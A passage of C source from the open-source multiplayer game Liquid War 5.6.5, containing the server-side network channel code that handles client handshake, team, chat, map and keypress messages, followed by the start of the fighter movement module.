/*==================================================================*/ #include #include #include #include "srvchan.h" #include "netmess.h" #include "log.h" #include "netmap.h" #include "netconf.h" #include "sock2gen.h" #include "macro.h" /*==================================================================*/ /* Constants */ /*==================================================================*/ /* * Following NULL-terminated list contains all versions which * are compatible with current. */ static char *ACCEPTED_VERSIONS[] = { "5.6.3", "5.6.4", "5.6.5", LW_VERSION, NULL }; /*==================================================================*/ /* static functions */ /*==================================================================*/ static void reset (LW_SRVCHAN * chan); static int handle_team (LW_SRVCHAN * chan, LW_NETMESS * mess, int *free_teams); static int handle_ready (LW_SRVCHAN * chan, LW_NETMESS * mess); static int handle_start (LW_SRVCHAN * chan, LW_NETMESS * mess); static int handle_waiting (LW_SRVCHAN * chan, LW_NETMESS * mess, int free_teams); static int handle_next (LW_SRVCHAN * chan, LW_NETMESS * mess, int *next); static int handle_teamstartinfo (LW_SRVCHAN * chan, LW_NETMESS * mess, LW_TEAMSTARTINFO * team_start_info); static int handle_chattalk (LW_SRVCHAN * chan, LW_NETMESS * mess, LW_CHAT_HISTORY * chat); static int handle_chatlisten (LW_SRVCHAN * chan, LW_NETMESS * mess); static int handle_who (LW_SRVCHAN * chan, LW_NETMESS * mess); static int handle_sendmap (LW_SRVCHAN * chan, LW_NETMESS * mess, void **map); static int handle_recvmap (LW_SRVCHAN * chan, LW_NETMESS * mess, void *map); static int handle_sendconfig (LW_SRVCHAN * chan, LW_NETMESS * mess, LW_NETCONF * config); static int handle_recvconfig (LW_SRVCHAN * chan, LW_NETMESS * mess, LW_NETCONF * config); /*------------------------------------------------------------------*/ /* * Resets the LW_SRVCHAN struct */ static void reset (LW_SRVCHAN * chan) { int i; memset (chan, 0, sizeof (LW_SRVCHAN)); chan->sock = -1; chan->ip[0] = '\0'; chan->port = 0; chan->program_ok = 0; chan->version_ok = 0; chan->password_ok = 0; chan->ready_ok = 0; chan->start = 0; chan->map = NULL; memset (&(chan->config), 0, sizeof (LW_NETCONF)); for (i = 0; i < NB_TEAMS; ++i) { lw_srvteam_reset (&(chan->team[i])); } lw_chat_reset (&(chan->chat)); chan->checksum_recv = 0; chan->checksum_send = 0; chan->normal_quit = 0; } /*------------------------------------------------------------------*/ /* * handles the "PING" message */ int lw_srvchan_handle_ping (int sock, LW_NETMESS * mess) { int result = 0; LW_MACRO_NOP (mess); /* * It's a ping, we answer OK everytime */ lw_sock_send_str (&sock, LW_NETMESS_TEXT_OK); result = 1; return result; } /*------------------------------------------------------------------*/ /* * handles the "ECHO" message */ int lw_srvchan_handle_echo (int sock, LW_NETMESS * mess) { int result = 0; char answer[LW_SOCK_MESSAGE_SIZE]; int i; /* * echo, we rebuild the original message * from the information we have in the LW_NETMESS * struct, and resend it to the client */ LW_MACRO_STRCPY (answer, LW_NETMESS_TEXT_ECHO); i = 0; while (i < mess->argc) { if (i == 0) { LW_MACRO_STRCAT (answer, " "); } else { LW_MACRO_STRCAT (answer, ","); } LW_MACRO_STRCAT (answer, mess->argv[i]); i++; } lw_sock_send_str (&sock, answer); result = 1; return result; } /*------------------------------------------------------------------*/ /* * handles the "PROGRAM" message */ int lw_srvchan_handle_program (int sock, LW_NETMESS * mess, int *ok) { int result = 0; if (mess->argc == 1) { /* * OK, there's an argument, we check if it's the good prog name. * This prevents form accepting random connections: if the client * is not really a liquidwar client, it will be thrown away */ if (strcmp (mess->argv[0], LW_PROGRAM) == 0) { (*ok) = 1; result = 1; } } /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&sock, LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&sock, LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "VERSION" message */ int lw_srvchan_handle_version (int sock, LW_NETMESS * mess, int *ok) { int result = 0; int i = 0; if (mess->argc == 1) { /* * We accept "some" versions... But cross-version connections are * not recommended... */ for (i = 0; ACCEPTED_VERSIONS[i] != NULL; ++i) { if (strcmp (mess->argv[0], ACCEPTED_VERSIONS[i]) == 0) { (*ok) = 1; result = 1; } } } /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&sock, LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&sock, LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "PASSWORD" message */ int lw_srvchan_handle_password (int sock, LW_NETMESS * mess, int *ok, char *password) { int result = 0; switch (mess->argc) { case 1: /* * OK, there's an argument, we check if it's the good password. */ if (strncmp (mess->argv[0], password, PASSWORD_SIZE) == 0) { (*ok) = 1; result = 1; } break; } if (!strcmp (password, "")) { /* * OK, now the server's password is "", so we consider any * that any password from the client is OK. */ (*ok) = 1; result = 1; } /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&sock, LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&sock, LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "FREE" message */ int lw_srvchan_handle_free (int sock, LW_NETMESS * mess, int free_teams, int *ok) { int result = 0; char answer[LW_SOCK_MESSAGE_SIZE]; LW_MACRO_NOP (mess); LW_MACRO_SPRINTF2 (answer, "%s %d", LW_NETMESS_TEXT_OK, free_teams); lw_sock_send_str (&sock, answer); (*ok) = 1; result = 1; return result; } /*------------------------------------------------------------------*/ /* * handles the "TEAM" message */ static int handle_team (LW_SRVCHAN * chan, LW_NETMESS * mess, int *free_teams) { int result = 0; int i; if (mess->argc == 3) { /* * OK, there are 3 arguments * - arg 1 is the team index * - arg 2 is the "control_type" parameter * - arg 3 is the team name */ i = atoi (mess->argv[0]); if (i >= 0 && i < NB_TEAMS) { if (!chan->team[i].active) { /* * The message from the client makes sense, we * return OK */ result = 1; /* * Now we activate the team only if there's still * room. If not we still return OK but the "WHO" * message will later inform the client that some * of his requests have been cancelled... */ if ((*free_teams) > 0) { (*free_teams)--; chan->team[i].active = 1; chan->team[i].control_type = atoi (mess->argv[1]); strncpy (chan->team[i].name, mess->argv[2], NAME_SIZE); chan->team[i].name[NAME_SIZE] = '\0'; log_print_str ("Team \""); log_print_str (mess->argv[2]); log_print_str ("\" on client \""); log_print_str (chan->ip); log_print_str (":"); log_print_int (chan->port); log_println_str ("\" accepted"); } else { log_print_str ("Team \""); log_print_str (mess->argv[2]); log_print_str ("\" on client \""); log_print_str (chan->ip); log_print_str (":"); log_print_int (chan->port); log_println_str ("\" refused!"); } } } } /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "WHO" message */ static int handle_who (LW_SRVCHAN * chan, LW_NETMESS * mess) { int result = 0; int i; char answer[LW_SOCK_MESSAGE_SIZE]; if (mess->argc == 1) { /* * OK, there's an argument, we interpret it as a number */ i = atoi (mess->argv[0]); if (i >= 0 && i < NB_TEAMS) { LW_MACRO_SPRINTF1 (answer, "%s", LW_NETMESS_TEXT_ERR); if (chan->team[i].active) { if (chan->team[i].network) { LW_MACRO_SPRINTF4 (answer, "%s %d,%d,'%s'", LW_NETMESS_TEXT_NETWORK, chan->team[i].server_id, chan->team[i].control_type, chan->team[i].name); } else { LW_MACRO_SPRINTF4 (answer, "%s %d,%d,'%s'", LW_NETMESS_TEXT_LOCAL, chan->team[i].server_id, chan->team[i].control_type, chan->team[i].name); } } else { LW_MACRO_SPRINTF1 (answer, "%s", LW_NETMESS_TEXT_NOBODY); } lw_sock_send_str (&(chan->sock), answer); result = 1; } } /* * Now we send feedback on the network */ if (!result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "READY" message */ static int handle_ready (LW_SRVCHAN * chan, LW_NETMESS * mess) { int result = 0; LW_MACRO_NOP (mess); /* * Here we do not return "OK" yet. In fact we will return * "OK" on the network later, when all the clients will be * connected, this way the "OK" answer to the "READY" message * is the signal for game start */ chan->ready_ok = 1; result = 1; return result; } /*------------------------------------------------------------------*/ /* * handles the "START" message */ static int handle_start (LW_SRVCHAN * chan, LW_NETMESS * mess) { int result = 0; LW_MACRO_NOP (mess); /* * Here we just acknowledge the fact that the client required * the game to start right away */ chan->start = 1; result = 1; /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "WAITING" message */ static int handle_waiting (LW_SRVCHAN * chan, LW_NETMESS * mess, int free_teams) { int result = 0; char answer[LW_SOCK_MESSAGE_SIZE]; LW_MACRO_NOP (mess); /* * Here we answer the client the number of free teams */ result = 1; LW_MACRO_SPRINTF2 (answer, "%s %d", LW_NETMESS_TEXT_OK, free_teams); /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&(chan->sock), answer); } else { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "NEXT" message */ static int handle_next (LW_SRVCHAN * chan, LW_NETMESS * mess, int *next) { int result = 0; LW_MACRO_NOP (chan); LW_MACRO_NOP (mess); /* * Here we do not return "OK" yet. * The point is that the "NEXT" message is like the "READY" * message, it gets an answer when the server decides to * talk to the client again. */ (*next) = 1; result = 1; return result; } /*------------------------------------------------------------------*/ /* * handles the "TEAMSTARTINFO" message */ static int handle_teamstartinfo (LW_SRVCHAN * chan, LW_NETMESS * mess, LW_TEAMSTARTINFO * team_start_info) { int result = 0; int i; char answer[LW_SOCK_MESSAGE_SIZE]; if (mess->argc == 1) { /* * OK, there's an argument, we interpret it as a number */ i = atoi (mess->argv[0]); if (i >= 0 && i < NB_TEAMS) { LW_MACRO_SPRINTF4 (answer, "%s %d,%d,'%s'", LW_NETMESS_TEXT_OK, team_start_info[i].active, team_start_info[i].start, team_start_info[i].name); lw_sock_send_str (&(chan->sock), answer); result = 1; } } /* * Now we send feedback on the network */ if (!result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "CHATTALK" message */ static int handle_chattalk (LW_SRVCHAN * chan, LW_NETMESS * mess, LW_CHAT_HISTORY * chat) { int result = 0; if (mess->argc == 1) { /* * OK, there's an argument, we interpret it as a message. * Note that we push the message in a common chat history * struct, to share it with others. */ log_print_str ("Client \""); log_print_str (chan->ip); log_print_str (":"); log_print_int (chan->port); log_print_str ("\" says \""); log_print_str (mess->argv[0]); log_println_str ("\""); lw_chat_push (chat, chan->team[0].name, mess->argv[0]); result = 1; } /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "CHATLISTEN" message */ static int handle_chatlisten (LW_SRVCHAN * chan, LW_NETMESS * mess) { int result = 0; char answer[LW_SOCK_MESSAGE_SIZE]; LW_CHAT_MESSAGE message; if (mess->argc == 0) { if (lw_chat_pop (&(chan->chat), &message)) { /* * OK, there's a message in the queue, we send it */ LW_MACRO_SPRINTF3 (answer, "%s '%s','%s'", LW_NETMESS_TEXT_OK, message.author, message.content); } else { LW_MACRO_SPRINTF0 (answer, LW_NETMESS_TEXT_OK); } lw_sock_send_str (&(chan->sock), answer); result = 1; } /* * Send error message if needed */ if (!result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "SENDMAP" message */ static int handle_sendmap (LW_SRVCHAN * chan, LW_NETMESS * mess, void **map) { int result = 0; LW_MACRO_NOP (mess); result = lw_netmap_recv (&(chan->sock), map); /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "RECVMAP" message */ static int handle_recvmap (LW_SRVCHAN * chan, LW_NETMESS * mess, void *map) { int result = 0; LW_MACRO_NOP (mess); result = lw_netmap_send (&(chan->sock), map); /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "SENDCONFIG" message */ static int handle_sendconfig (LW_SRVCHAN * chan, LW_NETMESS * mess, LW_NETCONF * config) { int result = 0; LW_MACRO_NOP (mess); result = lw_netconf_recv (&(chan->sock), config); /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "RECVCONFIG" message */ static int handle_recvconfig (LW_SRVCHAN * chan, LW_NETMESS * mess, LW_NETCONF * config) { int result = 0; LW_MACRO_NOP (mess); result = lw_netconf_send (&(chan->sock), config); /* * Now we send feedback on the network */ if (result) { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK); } else { lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } return result; } /*------------------------------------------------------------------*/ /* * handles the "QUIT" message */ int lw_srvchan_handle_quit (int sock, LW_NETMESS * mess, int *normal_quit) { int result = 0; LW_MACRO_NOP (sock); LW_MACRO_NOP (mess); /* * We flag the client as having quitted the server "normally". * This allow calling functions to make the difference between * a client that decided to leave on purpose from a client * that was disconnected because of lag or something. */ (*normal_quit) = 1; /* * Here we do nothing and simply return an error, this will * cause the system to close the socket automatically... */ result = -1; return result; } /*------------------------------------------------------------------*/ /* * handles an unknown message */ int lw_srvchan_handle_unknown (int sock, LW_NETMESS * mess) { int result = 0; LW_MACRO_NOP (mess); /* * We answer ERR all the time */ lw_sock_send_str (&sock, LW_NETMESS_TEXT_ERR); /* * Since we return 0, the connection will be closed... */ return result; } /*==================================================================*/ /* global functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Waits for a client to connect, returns 1 if successfull, 0 if not */ int lw_srvchan_wait_teams (LW_SRVCHAN * chan, int *free_teams, int sock, void **map, LW_NETCONF * config, char *password) { int result = 0; int ret; int ret_mess = 1; char message[LW_SOCK_MESSAGE_SIZE]; LW_NETMESS *mess; int free_received = 0; reset (chan); if (lw_sock_accept (&(chan->sock), chan->ip, &(chan->port), sock, 1)) { log_print_str ("Connection from \""); log_print_str (chan->ip); log_print_str (":"); log_print_int (chan->port); log_print_str ("\""); log_println (); log_flush (); while ((!chan->ready_ok) && ret_mess && ((ret = lw_sock_recv_str (&(chan->sock), message)) >= 0)) { if (ret > 0) { mess = lw_netmess_read (message); if (mess != NULL) { /* * switch to handle the different possible messages */ switch (mess->code) { case LW_NETMESS_CODE_PING: ret_mess = lw_srvchan_handle_ping (chan->sock, mess); break; case LW_NETMESS_CODE_ECHO: ret_mess = lw_srvchan_handle_echo (chan->sock, mess); break; case LW_NETMESS_CODE_PROGRAM: ret_mess = lw_srvchan_handle_program (chan->sock, mess, & (chan->program_ok)); break; case LW_NETMESS_CODE_VERSION: ret_mess = lw_srvchan_handle_version (chan->sock, mess, & (chan->version_ok)); break; case LW_NETMESS_CODE_PASSWORD: ret_mess = lw_srvchan_handle_password (chan->sock, mess, & (chan->password_ok), password); break; case LW_NETMESS_CODE_FREE: ret_mess = lw_srvchan_handle_free (chan->sock, mess, *free_teams, &free_received); break; case LW_NETMESS_CODE_TEAM: ret_mess = handle_team (chan, mess, free_teams); break; case LW_NETMESS_CODE_READY: ret_mess = handle_ready (chan, mess); break; case LW_NETMESS_CODE_SENDMAP: ret_mess = handle_sendmap (chan, mess, map); break; case LW_NETMESS_CODE_SENDCONFIG: ret_mess = handle_sendconfig (chan, mess, config); break; case LW_NETMESS_CODE_QUIT: ret_mess = lw_srvchan_handle_quit (chan->sock, mess, & (chan->normal_quit)); break; default: ret_mess = lw_srvchan_handle_unknown (sock, mess); break; } /* * lw_netmess_free must *not* be forgetted */ lw_netmess_free (mess); if (!ret_mess) { log_print_str ("Error processing \""); log_print_str (message); log_print_str ("\""); log_println (); } } else { log_println_str ("Serious memory problem 8-("); ret_mess = 0; } } } if (chan->program_ok && chan->version_ok && chan->password_ok && chan->ready_ok && ret_mess) { result = 1; log_print_str ("Client \""); log_print_str (chan->ip); log_print_str (":"); log_print_int (chan->port); log_println_str ("\" accepted"); /* * We play a little sound for people who have the server * opened on a console and want it to beep when someone * connects */ log_beep (); } else { if (chan->ready_ok) { /* * Now if we are here it means we have received a "READY" * message, but still the client did not send the correct * messages before => we send an "ERR" messageon the * network for consistency, since the client did not receive * any message to his "READY" query yet. */ lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } lw_sock_close (&(chan->sock)); log_print_str ("Client \""); log_print_str (chan->ip); log_print_str (":"); log_print_int (chan->port); if (chan->normal_quit) { log_println_str ("\" disconnected (probably a ping)"); } else { log_println_str ("\" rejected!"); } } } return result; } /*------------------------------------------------------------------*/ /* * Sends informations to the client on a regular basis, once it's * connected and waiting for the game to start */ int lw_srvchan_keepalive (LW_SRVCHAN * chan, int waited_teams, LW_TEAMSTARTINFO * team_start_info, LW_CHAT_HISTORY * chat) { int result = 0; int ret; int ret_mess = 1; char message[LW_SOCK_MESSAGE_SIZE]; LW_NETMESS *mess; int next = 0; /* * we set ready_ok back to false since we will wait for * another ready message */ chan->ready_ok = 0; /* * We first answer the "READY" message which had been sent by the * client a possibly long time ago. */ if (lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK)) { while ((!chan->ready_ok) && (!next) && ret_mess && ((ret = lw_sock_recv_str (&(chan->sock), message)) >= 0)) { if (ret > 0) { mess = lw_netmess_read (message); if (mess != NULL) { /* * switch to handle the different possible messages */ switch (mess->code) { case LW_NETMESS_CODE_PING: ret_mess = lw_srvchan_handle_ping (chan->sock, mess); break; case LW_NETMESS_CODE_ECHO: ret_mess = lw_srvchan_handle_echo (chan->sock, mess); break; case LW_NETMESS_CODE_START: ret_mess = handle_start (chan, mess); break; case LW_NETMESS_CODE_WAITING: ret_mess = handle_waiting (chan, mess, waited_teams); break; case LW_NETMESS_CODE_NEXT: ret_mess = handle_next (chan, mess, &next); break; case LW_NETMESS_CODE_TEAMSTARTINFO: ret_mess = handle_teamstartinfo (chan, mess, team_start_info); break; case LW_NETMESS_CODE_CHATTALK: ret_mess = handle_chattalk (chan, mess, chat); break; case LW_NETMESS_CODE_CHATLISTEN: ret_mess = handle_chatlisten (chan, mess); break; case LW_NETMESS_CODE_READY: ret_mess = handle_ready (chan, mess); break; case LW_NETMESS_CODE_QUIT: ret_mess = lw_srvchan_handle_quit (chan->sock, mess, & (chan->normal_quit)); break; default: ret_mess = lw_srvchan_handle_unknown (chan->sock, mess); break; } /* * lw_netmess_free must *not* be forgetted */ lw_netmess_free (mess); if (!ret_mess) { log_print_str ("Error processing \""); log_print_str (message); log_print_str ("\""); log_println (); } } else { log_println_str ("Serious memory problem 8-("); ret_mess = 0; } } } if ((chan->ready_ok || next) && ret_mess) { result = 1; if (chan->ready_ok) { log_print_str ("Client \""); log_print_str (chan->ip); log_print_str (":"); log_print_int (chan->port); log_println_str ("\" ready"); } } else { if (chan->ready_ok || next) { /* * Now if we are here it means we have received a "READY" * message, but still the client did not send the correct * messages before => we send an "ERR" messageon the * network for consistency, since the client did not receive * any message to his "READY" query yet. */ lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } lw_sock_close (&(chan->sock)); //log_println_str("Player KO"); } } return result; } /*------------------------------------------------------------------*/ /* * Answers OK to a client, and waits for the "WHO" message */ int lw_srvchan_tell_who (LW_SRVCHAN * chan, void *map, LW_NETCONF * config) { int result = 0; int ret; int ret_mess = 1; char message[LW_SOCK_MESSAGE_SIZE]; LW_NETMESS *mess; log_print_str ("Sending info to \""); log_print_str (chan->ip); log_print_str (":"); log_print_int (chan->port); log_print_str ("\""); log_println (); /* * we set ready_ok back to false since we will wait for * another ready message */ chan->ready_ok = 0; /* * We first answer the "READY" message which had been sent by the * client a possibly long time ago. */ if (lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK)) { while ((!chan->ready_ok) && ret_mess && ((ret = lw_sock_recv_str (&(chan->sock), message)) >= 0)) { if (ret > 0) { mess = lw_netmess_read (message); if (mess != NULL) { /* * switch to handle the different possible messages */ switch (mess->code) { case LW_NETMESS_CODE_PING: ret_mess = lw_srvchan_handle_ping (chan->sock, mess); break; case LW_NETMESS_CODE_ECHO: ret_mess = lw_srvchan_handle_echo (chan->sock, mess); break; case LW_NETMESS_CODE_WHO: ret_mess = handle_who (chan, mess); break; case LW_NETMESS_CODE_READY: ret_mess = handle_ready (chan, mess); break; case LW_NETMESS_CODE_RECVMAP: ret_mess = handle_recvmap (chan, mess, map); break; case LW_NETMESS_CODE_RECVCONFIG: ret_mess = handle_recvconfig (chan, mess, config); break; default: ret_mess = lw_srvchan_handle_unknown (chan->sock, mess); break; } /* * lw_netmess_free must *not* be forgetted */ lw_netmess_free (mess); if (!ret_mess) { log_print_str ("Error processing \""); log_print_str (message); log_print_str ("\""); log_println (); } } else { log_println_str ("Serious memory problem 8-("); ret_mess = 0; } } } if (chan->ready_ok && ret_mess) { result = 1; // log_println_str("Player OK"); } else { if (chan->ready_ok) { /* * Now if we are here it means we have received a "READY" * message, but still the client did not send the correct * messages before => we send an "ERR" messageon the * network for consistency, since the client did not receive * any message to his "READY" query yet. */ lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_ERR); } lw_sock_close (&(chan->sock)); //log_println_str("Player KO"); } } return result; } /*------------------------------------------------------------------*/ /* * Sends the final "OK" message before streaming */ int lw_srvchan_final_ok (LW_SRVCHAN * chan) { int result = 0; if (lw_sock_send_str (&(chan->sock), LW_NETMESS_TEXT_OK)) { result = 1; } else { lw_sock_close (&(chan->sock)); } return result; } /*------------------------------------------------------------------*/ /* * Returns the index of the team associated to a given server team id */ int lw_srvchan_find_team_by_server_id (LW_SRVCHAN * chan, int server_id) { int result = -1; int i; for (i = 0; i < NB_TEAMS && result < 0; ++i) { if (chan->team[i].active && chan->team[i].server_id == server_id) { result = i; } } return result; } /*------------------------------------------------------------------*/ /* * Returns the index of the first inactive team */ int lw_srvchan_find_first_free_team (LW_SRVCHAN * chan) { int result = -1; int i; for (i = 0; i < NB_TEAMS && result < 0; ++i) { if (!(chan->team[i].active)) { result = i; } } return result; } /*------------------------------------------------------------------*/ /* * Closes everything and frees the resources */ void lw_srvchan_close (LW_SRVCHAN * chan) { lw_sock_close (&(chan->sock)); if (chan->map != NULL) { free (chan->map); chan->map = NULL; } reset (chan); } /*------------------------------------------------------------------*/ /* * Receives key presses from a computer. * The keys come in the "computer's order" ie one still has to * sort them by server id. */ int lw_srvchan_recv_keys (LW_SRVCHAN * chan, LW_NETKEY * netkey) { int result = 0; int i; LW_NETKEY chan_netkey; lw_netkey_reset (&chan_netkey); result = lw_netkey_recv (&(chan->sock), &chan_netkey); for (i = 0; i < NB_TEAMS; ++i) { if (chan->team[i].active && !chan->team[i].network) { netkey->key_states[chan->team[i].server_id] = chan_netkey.key_states[i]; } } netkey->cmd = chan_netkey.cmd; netkey->arg = chan_netkey.arg; chan->checksum_recv = chan_netkey.checksum; return result; } /*------------------------------------------------------------------*/ /* * Sends key presses to a computer. * The keys must be send in the "computer's order" ie they must * be sorted first. */ int lw_srvchan_send_keys (LW_SRVCHAN * chan, LW_NETKEY * netkey) { int result = 0; int i; LW_NETKEY chan_netkey; lw_netkey_reset (&chan_netkey); for (i = 0; i < NB_TEAMS; ++i) { if (chan->team[i].active) { chan_netkey.key_states[i] = netkey->key_states[chan->team[i].server_id]; } } chan_netkey.cmd = netkey->cmd; chan_netkey.arg = netkey->arg; chan_netkey.checksum = chan->checksum_send; result = lw_netkey_send (&(chan->sock), &chan_netkey); return result; } liquidwar-5.6.5/src/fighter.c0000664000372000037200000005011113407756104015522 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : fighter.c */ /* contenu : deplacement des mechants */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "army.h" #include "config.h" #include "cursor.h" #include "decal.h" #include "grad.h" #include "mesh.h" #include "fighter.h" #include "monster.h" #include "palette.h" #include "startup.h" #include "time.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define SIDE_ATTACK_FACTOR 4 /* on divise l'attaque par 2^4 = 16 quand elle se fait sur le cote */ #define NB_SENS_MOVE 2 #define NB_TRY_MOVE 5 #define NB_LOCAL_DIRS 16 static int LOCAL_DIR[NB_LOCAL_DIRS * 2]; static int FIGHTER_MOVE_DIR[NB_SENS_MOVE][NB_DIRS][NB_TRY_MOVE] = { {{DIR_NNE, DIR_NE, DIR_NW, DIR_ENE, DIR_WNW}, {DIR_NE, DIR_ENE, DIR_NNE, DIR_SE, DIR_NW}, {DIR_ENE, DIR_NE, DIR_SE, DIR_NNE, DIR_SSE}, {DIR_ESE, DIR_SE, DIR_NE, DIR_SSE, DIR_NNE}, {DIR_SE, DIR_SSE, DIR_ESE, DIR_SW, DIR_NE}, {DIR_SSE, DIR_SE, DIR_SW, DIR_ESE, DIR_WSW}, {DIR_SSW, DIR_SW, DIR_SE, DIR_WSW, DIR_ESE}, {DIR_SW, DIR_WSW, DIR_SSW, DIR_NW, DIR_SE}, {DIR_WSW, DIR_SW, DIR_NW, DIR_SSW, DIR_NNW}, {DIR_WNW, DIR_NW, DIR_SW, DIR_NNW, DIR_SSE}, {DIR_NW, DIR_NNW, DIR_WNW, DIR_NE, DIR_SW}, {DIR_NNW, DIR_NW, DIR_NE, DIR_WNW, DIR_ENE}}, {{DIR_NNE, DIR_NE, DIR_NW, DIR_ENE, DIR_WNW}, {DIR_NE, DIR_NNE, DIR_ENE, DIR_NW, DIR_SE}, {DIR_ENE, DIR_NE, DIR_SE, DIR_NNE, DIR_SSE}, {DIR_ESE, DIR_SE, DIR_NE, DIR_SSE, DIR_NNE}, {DIR_SE, DIR_ESE, DIR_SSE, DIR_NE, DIR_SW}, {DIR_SSE, DIR_SE, DIR_SW, DIR_ESE, DIR_WSW}, {DIR_SSW, DIR_SW, DIR_SE, DIR_WSW, DIR_ESE}, {DIR_SW, DIR_SSW, DIR_WSW, DIR_SE, DIR_NW}, {DIR_WSW, DIR_SW, DIR_NW, DIR_SSW, DIR_NNW}, {DIR_WNW, DIR_NW, DIR_SW, DIR_NNW, DIR_SSE}, {DIR_NW, DIR_WNW, DIR_NNW, DIR_SW, DIR_NE}, {DIR_NNW, DIR_NW, DIR_NE, DIR_WNW, DIR_ENE}} }; static int FIGHTER_MOVE_X_REF[NB_DIRS] = { 0, 1, 1, 1, 1, 0, 0, -1, -1, -1, -1, 0 }; static int FIGHTER_MOVE_Y_REF[NB_DIRS] = { -1, -1, 0, 0, 1, 1, 1, 1, 0, 0, -1, -1 }; static int FIGHTER_MOVE_OFFSET_ASM[NB_SENS_MOVE][NB_DIRS * NB_TRY_MOVE]; static int FIGHTER_MOVE_XY_ASM[NB_SENS_MOVE][NB_DIRS * NB_TRY_MOVE]; static int FIGHTER_MOVE_OFFSET[NB_SENS_MOVE][NB_DIRS][NB_TRY_MOVE]; int FIGHTER_MOVE_X[NB_SENS_MOVE][NB_DIRS][NB_TRY_MOVE]; int FIGHTER_MOVE_Y[NB_SENS_MOVE][NB_DIRS][NB_TRY_MOVE]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void erase_fighter (FIGHTER * f) { putpixel (CURRENT_AREA_DISP, f->x, f->y, getpixel (CURRENT_AREA_BACK, f->x, f->y)); } /*------------------------------------------------------------------*/ static void disp_fighter (FIGHTER * f) { putpixel (CURRENT_AREA_DISP, f->x, f->y, COLOR_FIRST_ENTRY[(int) (f->team)] + (f->health * COLORS_PER_TEAM) / MAX_FIGHTER_HEALTH); } /*------------------------------------------------------------------*/ void init_move_fighters (void) { int i, j, k, dir; for (k = 0; k < NB_SENS_MOVE; ++k) for (i = 0; i < NB_DIRS; ++i) for (j = 0; j < NB_TRY_MOVE; ++j) { dir = FIGHTER_MOVE_DIR[k][i][j]; FIGHTER_MOVE_X[k][i][j] = FIGHTER_MOVE_X_REF[dir]; FIGHTER_MOVE_Y[k][i][j] = 